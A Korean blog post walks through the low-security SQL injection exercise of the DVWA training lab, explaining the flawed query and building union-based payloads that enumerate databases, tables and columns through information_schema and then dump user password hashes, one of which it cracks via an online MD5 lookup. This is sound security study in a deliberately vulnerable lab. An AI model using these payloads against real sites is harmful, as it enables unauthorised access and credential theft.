프로젝트/DVWA 실습

DVWA 실습 #8-1 - SQL Injection(low)

하루히즘 2021. 1. 15. 22:40

2021/01/15 - [프로젝트/DVWA 실습] - DVWA 실습 #8 - SQL Injection

 

DVWA 실습 #8 - SQL Injection

DVWA의 일곱 번째 실습 대상인 SQL Injection이다. 현재 데이터베이스에는 5명의 사용자 정보(이름, 비밀번호 등)가 저장되어 있으며 SQL Injection으로 이들의 비밀번호를 탈취하는 것이 목적이다. 현재

haruhiism.tistory.com

문제 해결 방법

이번 단계에서는 어떤 SQL Injection 필터링도 적용되어 있지 않기 때문에 모든 SQL Injection 기법을 사용할 수 있다. 먼저 확인을 위해 따옴표를 입력해보면 다음처럼 에러가 발생하는 것을 볼 수 있다.

이는 소스 코드에서 오류 발생 시 die() 함수를 이용해 쿼리 에러를 출력하고 있기 때문에 나타나는데 이는 불필요한 정보(DB 정보) 노출이기 때문에 쿼리가 실패하더라도 데이터가 존재하지 않을 때와 같은 반응이 나와야 한다(블라인드). 현재 쿼리는 다음과 같다.

SELECT first_name, last_name FROM users WHERE user_id = '$id';

이는 앞서 말했듯이 동적 쿼리로 사용자 입력인 id 변수가 필터링 없이 SQL 쿼리에 포함되고 있는 것을 알 수 있다. 쿼리에 입력값을 삽입할 때는 따옴표를 자동으로 이스케이프 시켜주지 않기 때문에 만약 id 변수가 "hello'" 같은 값이라면 위의 쿼리는 다음처럼 생성된다.

SELECT first_name, last_name FROM users WHERE user_id = 'hello'';

이 경우 맨 마지막 따옴표는 열린 채로 닫히지 않았기 때문에 쿼리 에러가 발생하는 것이다. 그렇다면 주석 문자를 이용해서 뒤의 쿼리를 지워주면 제대로 동작할 것이며 다른 조건을 추가해서 WHERE 절이 항상 참이 되도록 만들 수도 있다. 이처럼 따옴표를 열고 닫으면서 공격자는 쿼리를 마음대로 조작하여 허가되지 않은 정보를 확인할 수 있다.

다른 테이블에 있는 정보도 출력에 포함시킬 수 있는데 그 대표적인 예시가 union 인젝션이다. 'union' 키워드는 'select ... union select ...'처럼 사용하는데 첫 번째 select 문의 결과에 두 번째 select 문의 결과를 포함할 수 있다. 물론 두 select 문이 출력하는 컬럼 수가 일치하고 자료형이 호환가능해야 한다는 조건이 있지만 이를 활용하여 추가적인 SELECT 쿼리를 삽입하여 원래 쿼리에서 조회하던 데이터 말고도 다른 데이터를 가져올 수 있다.

위의 결과는 id에 "' union select 1,2#"을 입력하여 다음과 같은 쿼리를 수행한 결과다. 

SELECT first_name, last_name FROM users WHERE user_id = '' union select 1,2#';

주석 문자('#') 뒤의 "';"는 무시되었으며 union 명령어에 의해 "select first_name, last_name from users where userid = ''" 쿼리 결과에 (1, 2) 가 추가되었다. 이때 user_id가 비어있는 데이터는 없기 때문에 1, 2 만 결과로 출력된 것을 알 수 있다. 그렇다면 1, 2 대신에 데이터베이스나 테이블 정보를 출력시켜보면 어떨까? 이는 information_schema라는 것을 이용할 수 있다.

 

MySQL :: MySQL 8.0 Reference Manual :: 26 INFORMATION_SCHEMA Tables

The world's most popular open source database

dev.mysql.com

간단히 말하면 이는 데이터베이스에 담겨있는 모든 테이블 그리고 모든 데이터베이스에 대한 정보를 담고 있는 하나의 거대한 데이터베이스라 할 수 있다. 예를 들어 A, B, C, D, information_schema 데이터베이스가 있다고 할 때 information_schema 데이터베이스의 schemata 테이블에는 information_schema도 포함한 모든 데이터베이스에 대한 정보가 담겨있는 것을 볼 수 있다.

MariaDB [information_schema]> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def          | information_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | mysql              | utf8mb4                    | utf8mb4_general_ci     | NULL     |
| def          | performance_schema | utf8                       | utf8_general_ci        | NULL     |
| def          | phpmyadmin         | utf8                       | utf8_bin               | NULL     |
| def          | test               | latin1                     | latin1_swedish_ci      | NULL     |
+--------------+--------------------+----------------------------+------------------------+----------+
5 rows in set (0.000 sec)

그래서 데이터베이스의 이름을 알았다면 이제 tables 테이블에서 table_schema 컬럼, 즉 해당 테이블이 포함된 데이터베이스 이름으로 필터링하여 어떤 데이터베이스에 어떤 테이블이 포함되어 있는지 확인할 수 있다.

MariaDB [information_schema]> select table_name from tables where table_schema='mysql';
+---------------------------+
| table_name                |
+---------------------------+
| columns_priv              |
| column_stats              |
| db                        |
| event                     |
| func                      |
...
| transaction_registry      |
| user                      |
+---------------------------+
31 rows in set (0.001 sec)

그럼 이제 컬럼명을 확인해야 하는데 이는 columns 테이블에서 column_name을 탐색하면 된다. 이때 조건이 불충분하다면 다른 데이터베이스나 테이블에 섞여 있는 칼럼들(약 1923개 또는 그 이상)이 섞여 나오기 때문에 데이터베이스 이름, 테이블 이름을 확실하게 제한해줘야 한다.

MariaDB [information_schema]> select column_name from columns where table_schema='mysql' and table_name='user';
+------------------------+
| column_name            |
+------------------------+
| Host                   |
| User                   |
| Password               |
...
| is_role                |
| default_role           |
| max_statement_time     |
+------------------------+
47 rows in set (0.031 sec)

위처럼 information_schema 데이터베이스에서 mysql 데이터베이스의 user 테이블에 있는 컬럼들의 정보를 출력할 수 있었다. 이 테이블에는 사용자의 이름이나 비밀번호 정보가 들어있기 때문에 중요 정보가 노출될 수 있으며 이 실습에서는 위에서 언급한 union SQL Injection을 통해 이를 노출시킬 수 있다. 이때 위의 콘솔에서는 information_schema 데이터베이스를 사용(use)하고 있었기 때문에 별다른 접두사 없이 내부에 있는 테이블을 참조할 수 있었지만 실습에서는 다른 데이터베이스를 사용하고 있을 것이기 때문에 쿼리에는 information_schema.tables처럼 삽입해야 한다. 먼저 데이터베이스 종류를 파악해보자. 위에서 사용한 쿼리를 삽입하면 현재 실습에서는 다음처럼 쿼리가 구성된다.

SELECT first_name, last_name FROM users WHERE user_id = '' union select 1, schema_name from information_schema.schemata#';

information_schema, bWAPP, drupageddon, dvwa, mysql 테이블이 존재하는 것을 볼 수 있다. 지금 서버 이미지에는 bWAPP과 DVWA, 그리고 다른 애플리케이션이 하나 더 설치되어 있는데 지금 실습하고 있는 건 DVWA기 때문에 dvwa 데이터베이스가 우리가 찾아야 할 데이터베이스다. 이제 어떤 테이블을 포함하고 있는지 좀 더 알아보자.

SELECT first_name, last_name FROM users WHERE user_id = '' union select 1, table_name from information_schema.tables where table_schema='dvwa'#';

guestbook, users 두 개의 테이블이 dvwa 데이터베이스에 존재한다는 것을 확인할 수 있었다. 그럼 사용자 정보는 users 테이블에 저장될 것 같은데 이 테이블에 어떤 컬럼이 있는지 확인해보자.

SELECT first_name, last_name FROM users WHERE user_id = '' union select 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#';

user_id, first_name, last_name, user, password, avatar, last_login, failed_login 같은 여러 정보를 저장하는 컬럼을 볼 수 있었다. 이 중 비밀번호를 저장하는 곳은 password 칼럼일 것이므로 이를 출력하는 쿼리를 작성하면 다음과 같다.

SELECT first_name, last_name FROM users WHERE user_id = '' union select user_id, password from dvwa.users#';

각 사용자의 user_id와 password가 출력된 것을 볼 수 있다. 비밀번호는 해시값으로 저장되어 있는데 이는 약한 해시 함수를 사용했거나 단순한(잘 알려진) 비밀번호일 경우 쉽게 역연산될 수 있다. 예를 들어 MD5 reverse for 5f4dcc3b5aa765d61d8327deb882cf99 (gromweb.com)에서 user_id가 1인 계정의 비밀번호 해시값을 역연산해보면 원본 비밀번호를 찾을 수 있는 것을 볼 수 있다.

이는 아무리 해시값으로 저장된 비밀번호라도 취약한 알고리즘을 사용하면 쉽게 깨질 수 있다는 것을 보여준다.